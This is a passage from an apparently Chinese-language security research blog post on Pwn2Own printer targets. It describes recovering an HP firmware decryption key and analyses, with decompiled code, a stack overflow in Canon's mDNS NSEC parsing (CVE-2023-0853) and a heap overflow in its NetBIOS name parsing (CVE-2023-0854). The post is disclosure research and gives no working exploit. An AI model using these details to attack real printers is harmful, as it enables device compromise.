。</p> <h3 id="hp">HP</h3> <p>Firmware 本身可以從 HP 的 Firmware <a href="https://ftp.ext.hp.com/pub/networking/software/pfirmware/pfirmware.glf">網站</a> 中取得,但與 2021 年不同,並<strong>無法</strong>直接用 binwalk 解出,這邊的 Firmware 是透過 AES 加密的,從現有的資訊中不太好直接解開。</p> <p>而這邊起初想法是找相同系列的 Fimware 看看是否有未加密版本,然而 HP 官方的 Firmware 中,並沒有符合條件的 Firmware,原本打算拆印表機想辦法 Dump firmware,但我們後來在 Google 的過程中,找到了舊版的 mirror 站,而該網站有開 index of,我們可以從中獲得所有在 mirror 網站中的 Firmware。</p> <p>但這邊問題是該 Mirror 網站只有 mirror 到 2016 並沒有最新版本的資訊,不過後來可以從網站資訊中,獲得官方的目錄結構,從而取得相同系列的但沒有加密的 Firmware。</p> <p><img src="/assets/img/blog/20231106/1.png" alt="" /></p> <p>在分析過後,我們從 Firmware 中找到 fwupd 中有解密相關資訊,透過逆向可以知道加密方法及 Key,進而解出目標版本的 Firmware。</p> <p><img src="/assets/img/blog/20231106/2.png" alt="" /></p> <h4 id="hp-collor-laserjet-pro-m479fdw">HP Collor LaserJet Pro M479fdw</h4> <ul> <li>OS - Linux Base</li> <li>ARMv7 32bit little-endian</li> </ul> <h2 id="vulnerability--exploitation">Vulnerability &amp; Exploitation</h2> <h3 id="canon-1">Canon</h3> <h4 id="mdns-cve-2023-0853">mDNS (CVE-2023-0853)</h4> <p>mDNS 協定主要提供了區網中的域名解析功能,並且不需要有 Name Server 的介入,常用於 Apple 及 IoT 設備中。</p> <p>而在 Canon 中,預設情況下,也提供了相同的功能,方便使用者尋找區網中的印表機。</p> <p>該協定主要以 DNS 為基礎,基本上 mDNS 也大多建立在 DNS 封包格式 <a href="https://www.ietf.org/rfc/rfc1035.txt">(RFC1035)</a> 上,格式如下:</p> <p><strong>The packet format:</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> +---------------------+ | Header | +---------------------+ | Question | the question for the name server +---------------------+ | Answer | RRs answering the question +---------------------+ | Authority | RRs pointing toward an authority +---------------------+ | Additional | RRs holding additional information +---------------------+ (diagram from https://www.ietf.org/rfc/rfc1035.txt) </code></pre></div></div> <p><strong>The header contains the following fields:</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1 1 1 1 1 1 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ID | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ |QR| Opcode |AA|TC|RD|RA| Z | RCODE | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | QDCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ANCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | NSCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ARCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ (diagram from https://www.ietf.org/rfc/rfc1035.txt) </code></pre></div></div> <p>主要可以拆分為 Header 及 body 部分,主要的請求都放在 body 中,後面三個欄位為同樣的格式。 Answer 欄位主要紀錄針對 Question 的 Resource records (RRs),</p> <p><strong>Resource record format:</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1 1 1 1 1 1 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | | / / / NAME / | | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | TYPE | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | CLASS | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | TTL | | | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | RDLENGTH | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--| / RDATA / / / +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ (diagram from https://www.ietf.org/rfc/rfc1035.txt) </code></pre></div></div> <p>RDATA 部分會根據 type 不同而有所不同,而當 type=NSEC 其格式如下</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> The RDATA of the NSEC RR is as shown below: 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ / Next Domain Name / +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ / Type Bit Maps / +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (diagram from https://www.ietf.org/rfc/rfc4034.txt) </code></pre></div></div> <p>其餘部分在這個漏洞中不太重要,不另外多做詳細解釋,更多細節可以參考 <a href="https://datatracker.ietf.org/doc/rfc6762/">RFC6762</a> 、 <a href="https://datatracker.ietf.org/doc/rfc1035/">RFC1035</a> 以及 <a href="https://datatracker.ietf.org/doc/rfc4034/">RFC4034</a></p> <p><strong>漏洞位置</strong> 當 Canon ImageCLASS MF743Cdw 在處理 Answer 欄位(type=NSEC)時,並沒有檢查長度導致 stack overflow 。</p> <p><img src="/assets/img/blog/20231106/3.jpg" alt="" /></p> <p><code class="language-plaintext highlighter-rouge">bnMdnsParseAnswers</code> function 是主要負責處理封包中 answer 欄位</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">bnMdnsParseAnswers</span><span class="p">(</span> <span class="n">netbios_header</span> <span class="o">*</span><span class="n">mdns_packet</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="o">*</span><span class="n">ppayloadlen</span><span class="p">,</span> <span class="n">netbios_header</span> <span class="o">*</span><span class="n">pmdns_header</span><span class="p">,</span> <span class="n">_WORD</span> <span class="o">*</span><span class="n">anwser_rr</span><span class="p">,</span> <span class="n">rrlist</span> <span class="o">**</span><span class="n">payload</span><span class="p">,</span> <span class="n">_DWORD</span> <span class="o">*</span><span class="n">pinfo</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="kt">char</span> <span class="n">nsec_buf</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span> <span class="c1">// ------ fixed size on the stack</span> <span class="p">...</span> <span class="n">_mdns_packet</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">mdns_packet</span><span class="p">;</span> <span class="n">p_payloadlen</span> <span class="o">=</span> <span class="n">ppayloadlen</span><span class="p">;</span> <span class="n">p_mdns_header</span> <span class="o">=</span> <span class="n">pmdns_header</span><span class="p">;</span> <span class="n">anwser_cnt</span> <span class="o">=</span> <span class="n">anwser_rr</span><span class="p">;</span> <span class="n">v66</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">cur_ptr</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">mdns_packet</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="o">*</span><span class="n">pinfo</span><span class="p">];</span> <span class="n">v9</span> <span class="o">=</span> <span class="o">*</span><span class="n">payload</span><span class="p">;</span> <span class="n">v10</span> <span class="o">=</span> <span class="o">*</span><span class="n">payload</span><span class="p">;</span> <span class="k">do</span> <span class="p">{</span> <span class="n">v11</span> <span class="o">=</span> <span class="n">v10</span> <span class="o">==</span> <span class="mi">0</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v10</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v9</span> <span class="o">=</span> <span class="n">v10</span><span class="p">;</span> <span class="n">v10</span> <span class="o">=</span> <span class="p">(</span><span class="n">rrlist</span> <span class="o">*</span><span class="p">)</span><span class="n">v10</span><span class="o">-&gt;</span><span class="n">c</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">v6</span> <span class="o">=</span> <span class="n">aBnmdnsparseans</span><span class="p">;</span> <span class="n">v10</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v67</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">while</span> <span class="p">(</span> <span class="o">!</span><span class="n">v11</span> <span class="p">);</span> <span class="k">while</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)</span><span class="o">*</span><span class="n">anwser_cnt</span> <span class="o">&gt;</span> <span class="n">v67</span> <span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="k">if</span><span class="p">...</span> <span class="n">type</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)</span><span class="n">pname</span><span class="o">-&gt;</span><span class="n">type</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">type</span> <span class="o">==</span> <span class="mi">28</span> <span class="p">)</span> <span class="k">goto</span> <span class="n">LABEL_36</span><span class="p">;</span> <span class="k">if</span><span class="p">...</span> <span class="k">if</span><span class="p">...</span> <span class="k">if</span> <span class="p">(</span> <span class="n">type</span> <span class="o">!=</span> <span class="mh">0x21</span> <span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">type</span> <span class="o">!=</span> <span class="mi">47</span> <span class="p">)</span> <span class="c1">// NSEC</span> <span class="p">{</span> <span class="p">...</span> <span class="k">goto</span> <span class="n">LABEL_95</span><span class="p">;</span> <span class="p">}</span> <span class="n">v62</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v63</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">zeromemory</span><span class="p">(</span><span class="n">nsec_buf</span><span class="p">,</span> <span class="mi">256</span><span class="p">,</span> <span class="n">v19</span><span class="p">,</span> <span class="n">v20</span><span class="p">);</span> <span class="n">v47</span> <span class="o">=</span> <span class="n">bnMdnsMalloc</span><span class="p">(</span><span class="mi">8</span><span class="p">);</span> <span class="n">rrlist</span><span class="o">-&gt;</span><span class="n">pname</span><span class="o">-&gt;</span><span class="n">nsec</span> <span class="o">=</span> <span class="n">v47</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">v47</span> <span class="p">)</span> <span class="p">{</span> <span class="n">bnMdnsFreeRRLIST</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">rrlist</span><span class="p">);</span> <span class="n">v50</span> <span class="o">=</span> <span class="mi">2720</span><span class="p">;</span> <span class="nl">LABEL_76:</span> <span class="n">debugprintff</span><span class="p">(</span> <span class="mi">3610</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="s">"[bnjr] [%s] &lt;%s:%d&gt; bnMdnsParseAnswers error in malloc(NSEC)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="s">"IMP/mdns/common/tcBnMdnsMsg.c"</span><span class="p">,</span> <span class="n">v6</span><span class="p">,</span> <span class="n">v50</span><span class="p">);</span> <span class="k">return</span> <span class="mi">3</span><span class="p">;</span> <span class="p">}</span> <span class="n">maybe_realloc</span><span class="p">(</span><span class="n">v47</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span> <span class="n">nsec</span> <span class="o">=</span> <span class="n">rrlist</span><span class="o">-&gt;</span><span class="n">pname</span><span class="o">-&gt;</span><span class="n">nsec</span><span class="p">;</span> <span class="n">nsec_len</span> <span class="o">=</span> <span class="n">bnMdnsGetDecodedRRNameLen</span><span class="p">(</span><span class="n">cur_ptr</span><span class="p">,</span> <span class="o">*</span><span class="n">ppayloadlen</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">_mdns_packet</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dwbyte</span><span class="p">);</span> <span class="k">if</span><span class="p">...</span> <span class="k">if</span><span class="p">...</span> <span class="n">v51</span> <span class="o">=</span> <span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">bnMdnsMalloc</span><span class="p">(</span><span class="n">nsec_len</span><span class="p">);</span> <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">nsec</span> <span class="o">=</span> <span class="n">v51</span><span class="p">;</span> <span class="k">if</span><span class="p">...</span> <span class="n">consume_label</span><span class="p">(</span><span class="n">cur_ptr</span><span class="p">,</span> <span class="o">*</span><span class="n">ppayloadlen</span><span class="p">,</span> <span class="n">_mdns_packet</span><span class="p">,</span> <span class="n">v51</span><span class="p">,</span> <span class="n">nsec_len</span><span class="p">);</span> <span class="n">v52</span> <span class="o">=</span> <span class="n">dwbyte</span><span class="p">;</span> <span class="n">v53</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">cur_ptr</span><span class="p">[</span><span class="n">dwbyte</span><span class="p">];</span> <span class="n">v54</span> <span class="o">=</span> <span class="o">*</span><span class="n">ppayloadlen</span> <span class="o">-</span> <span class="n">dwbyte</span><span class="p">;</span> <span class="o">*</span><span class="n">ppayloadlen</span> <span class="o">=</span> <span class="n">v54</span><span class="p">;</span> <span class="n">v55</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">v53</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span> <span class="n">v56</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="o">*</span><span class="n">v53</span><span class="p">;</span> <span class="n">nsec_</span> <span class="o">=</span> <span class="n">v53</span> <span class="o">+</span> <span class="mi">2</span><span class="p">;</span> <span class="o">*</span><span class="n">ppayloadlen</span> <span class="o">=</span> <span class="n">v54</span> <span class="o">-</span> <span class="mi">2</span><span class="p">;</span> <span class="n">v57</span> <span class="o">=</span> <span class="n">v56</span> <span class="o">|</span> <span class="p">(</span><span class="n">v55</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">);</span> <span class="n">nsec_len_</span> <span class="o">=</span> <span class="n">__rev16</span><span class="p">(</span><span class="n">v57</span><span class="p">);</span> <span class="k">if</span><span class="p">...</span> <span class="n">memcpy</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">nsec_buf</span><span class="p">,</span> <span class="n">nsec_</span><span class="p">,</span> <span class="n">nsec_len_</span><span class="p">,</span> <span class="n">v57</span><span class="p">);</span> <span class="c1">//-------- [1] stack overflow </span> <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">nsec_len_</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">nsec_buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="o">++</span><span class="n">j</span> <span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">j</span> <span class="o">==</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">nsec_buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v62</span> <span class="p">)</span> <span class="n">v63</span> <span class="o">=</span> <span class="mi">7</span> <span class="o">-</span> <span class="n">j</span> <span class="o">+</span> <span class="mi">8</span> <span class="o">*</span> <span class="n">i</span><span class="p">;</span> <span class="k">else</span> <span class="n">v62</span> <span class="o">=</span> <span class="mi">7</span> <span class="o">-</span> <span class="n">j</span> <span class="o">+</span> <span class="mi">8</span> <span class="o">*</span> <span class="n">i</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="o">*</span><span class="p">(</span><span class="n">_WORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">nsec</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">=</span> <span class="n">v62</span><span class="p">;</span> <span class="p">...</span> <span class="p">}</span> <span class="o">*</span><span class="n">pinfo</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">cur_ptr</span><span class="p">[</span><span class="o">-</span><span class="n">_mdns_packet</span> <span class="o">-</span> <span class="mh">0xC</span><span class="p">];</span> <span class="o">*</span><span class="n">anwser_cnt</span> <span class="o">-=</span> <span class="n">v66</span><span class="p">;</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>當他在處理 NSEC(47) 的 Record 時,並沒有檢查長度就直接複製 data 到 local buffer(<code class="language-plaintext highlighter-rouge">nsec_buf[256]</code>) ,如上述程式碼的 <code class="language-plaintext highlighter-rouge">[1]</code>,導致 stack overflow</p> <p><strong>Exploitation</strong></p> <p>這裡利用方法與 Pwn2Own 2021 Austin 時<a href="/blog/2023/10/05/your-printer-is-not-your-printer-hacking-printers-pwn2own-part1/">相同</a>,這邊就不在多做敘述。</p> <h4 id="netbios-cve-2023-0854">NetBIOS (CVE-2023-0854)</h4> <p>在 NetBIOS 中主要提供下列三種不同的服務:</p> <ul> <li>Name service (NetBIOS-NS) : Port 137/TCP and 137/UDP</li> <li>Datagram distribution service (NetBIOS-DGM) : Port 138/UDP</li> <li>Session service (NetBIOS-SSN) : Port 139/TCP</li> </ul> <p>這邊我們將會把重點放在 NetBIOS-NS 中,NetBIOS-NS 也會提供區網中域名解析的服務,常見於 Windows 作業系統中,而該封包格式也是基於 DNS 的封包。其詳細內容定義於 <a href="https://datatracker.ietf.org/doc/html/rfc1002">RFC1002</a> 中</p> <p><strong>The packet format:</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | NAME_TRN_ID | OPCODE | NM_FLAGS | RCODE | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | QDCOUNT | ANCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | NSCOUNT | ARCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (diagram from https://datatracker.ietf.org/doc/html/rfc1002) </code></pre></div></div> <p>而 Query 則會被放在 header 之後</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + ------ ------- + | HEADER | + ------ ------- + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / QUESTION ENTRIES / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / ANSWER RESOURCE RECORDS / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / AUTHORITY RESOURCE RECORDS / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / ADDITIONAL RESOURCE RECORDS / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (diagram from https://datatracker.ietf.org/doc/html/rfc1002) </code></pre></div></div> <p>其中我們只須關注於 Question Entries 欄位</p> <p><strong>Question Section:</strong></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / QUESTION_NAME / / / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | QUESTION_TYPE | QUESTION_CLASS | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ </code></pre></div></div> <p>Question Name 都是由許多 label 組成,每個 label 都如同前述 LLMNR 所述,都是長度加上字串的組合。其餘欄位則不另外多加敘述,詳細內容可參考 <a href="https://datatracker.ietf.org/doc/html/rfc1002">RFC1002</a>。</p> <p><strong>漏洞位置</strong> 當 Canon ImageCLASS MF743Cdw 在處理 NetBIOS 封包的 Question 欄位時,沒有正確檢查長度導致 Heap Overflow 。</p> <p>其漏洞位置在 <code class="language-plaintext highlighter-rouge">cmNetBiosParseName</code> 中,我們可透過 ndNameProcessExternalMessage 觸發。</p> <p>我們這邊就稍微來分析一下漏洞成因:</p> <p>當 Canon 中的 NetBIOS 服務啟動時,會先去初始化 <code class="language-plaintext highlighter-rouge">netbios_ns_buffer</code> ,並分配 0xff 大小空間給該 buffer。</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">ndNameInit</span><span class="p">()</span> <span class="p">{</span> <span class="n">sub_41C47A20</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="s">"netcifsnqendapp/IMP/nq/ndnampro.c"</span><span class="p">,</span> <span class="mh">0x44ED3194</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mh">0x64u</span><span class="p">);</span> <span class="n">netbios_ns_buffer</span> <span class="o">=</span> <span class="n">calloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">);</span> <span class="p">...</span> <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>當接收到來自 137/UDP 的 NetBIOS 封包時,就會透過 <code class="language-plaintext highlighter-rouge">ndNameProcessExternalMessage </code> 來處理封包</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">ndNameProcessExternalMessage</span><span class="p">(</span><span class="n">Adapter</span> <span class="o">*</span><span class="n">a1</span><span class="p">)</span> <span class="p">{</span> <span class="n">netbios_header</span> <span class="o">*</span><span class="n">packet</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">v3</span><span class="p">;</span> <span class="c1">// r6</span> <span class="kt">int</span> <span class="n">flag</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// r5</span> <span class="kt">int</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">int</span> <span class="n">v8</span><span class="p">;</span> <span class="c1">// r4</span> <span class="kt">char</span> <span class="n">nbname</span><span class="p">[</span><span class="mi">40</span><span class="p">];</span> <span class="c1">// [sp+8h] [bp-28h] BYREF</span> <span class="n">sub_41C47A20</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="s">"netcifsnqendapp/IMP/nq/ndnampro.c"</span><span class="p">,</span> <span class="mh">0x44ED31AC</span><span class="p">,</span> <span class="mi">178</span><span class="p">,</span> <span class="mh">0x64u</span><span class="p">);</span> <span class="n">packet</span> <span class="o">=</span> <span class="p">(</span><span class="n">netbios_header</span> <span class="o">*</span><span class="p">)</span><span class="n">a1</span><span class="o">-&gt;</span><span class="n">packet</span><span class="p">;</span> <span class="n">LOWORD</span><span class="p">(</span><span class="n">a1</span><span class="o">-&gt;</span><span class="n">vvv</span><span class="p">)</span> <span class="o">=</span> <span class="n">LOBYTE</span><span class="p">(</span><span class="n">packet</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">HIBYTE</span><span class="p">(</span><span class="n">packet</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">);</span> <span class="n">v3</span> <span class="o">=</span> <span class="n">cmNetBiosParseName</span><span class="p">(</span><span class="n">packet</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="p">)</span><span class="n">packet</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">nbname</span><span class="p">,</span> <span class="n">netbios_ns_buffer</span><span class="p">,</span> <span class="mh">0xFFu</span><span class="p">);</span> <span class="c1">//---- [1]</span> <span class="c1">//heap overflow at netbios_ns_buffer </span> <span class="k">if</span><span class="p">...</span> <span class="n">flag</span> <span class="o">=</span> <span class="n">getname_query_flag</span><span class="p">((</span><span class="n">netbios_header</span> <span class="o">*</span><span class="p">)</span><span class="n">a1</span><span class="o">-&gt;</span><span class="n">packet</span><span class="p">);</span> <span class="n">v5</span> <span class="o">=</span> <span class="n">flag</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">flag</span> <span class="o">==</span> <span class="mh">0xA800</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v6</span> <span class="o">=</span> <span class="n">ndInternalNamePositiveRegistration</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">nbname</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">v3</span><span class="p">);</span> <span class="k">goto</span> <span class="n">LABEL_17</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span> <span class="n">flag</span> <span class="o">&gt;</span> <span class="mh">0xA800</span> <span class="p">)</span> <span class="p">{</span> <span class="k">switch</span> <span class="p">(</span> <span class="n">flag</span> <span class="p">)</span> <span class="p">{</span> <span class="k">case</span> <span class="mh">0xA801</span><span class="p">:</span> <span class="n">v6</span> <span class="o">=</span> <span class="n">ndInternalNameNegativeRegistration</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">nbname</span><span class="p">);</span> <span class="k">goto</span> <span class="n">LABEL_17</span><span class="p">;</span> <span class="p">...</span> <span class="p">}</span> <span class="k">goto</span> <span class="n">LABEL_14</span><span class="p">;</span> <span class="p">}</span> <span class="p">...</span> <span class="n">ndInternalNameNegativeQuery</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">a1</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">nbname</span><span class="p">);</span> <span class="n">v6</span> <span class="o">=</span> <span class="n">ndExternalNameNegativeQuery</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">a1</span><span class="p">,</span> <span class="n">nbname</span><span class="p">);</span> <span class="nl">LABEL_17:</span> <span class="n">v8</span> <span class="o">=</span> <span class="n">v6</span><span class="p">;</span> <span class="n">assset</span><span class="p">(</span><span class="s">"netcifsnqendapp/IMP/nq/ndnampro.c"</span><span class="p">,</span> <span class="mh">0x44ED31AC</span><span class="p">,</span> <span class="mi">238</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span> <span class="k">return</span> <span class="n">v8</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>在上述程式碼<code class="language-plaintext highlighter-rouge">[1]</code> 中,該 <code class="language-plaintext highlighter-rouge">cmNetBiosParseName</code> 函式,會去處理 Question 欄位中的名稱,也提供了 buffer 大小給該函式,然而該函式並沒有正確檢查長度,導致複製過多的資料到 netbios_ns_buff 導致 heap overflow</p> <p>我們來看一下 <code class="language-plaintext highlighter-rouge">cmNetBiosParseName</code> 函式</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="kr">__fastcall</span> <span class="nf">cmNetBiosParseName</span><span class="p">(</span> <span class="n">netbios_header</span> <span class="o">*</span><span class="n">netbios_packet</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">netbios_label</span><span class="p">,</span> <span class="kt">int</span> <span 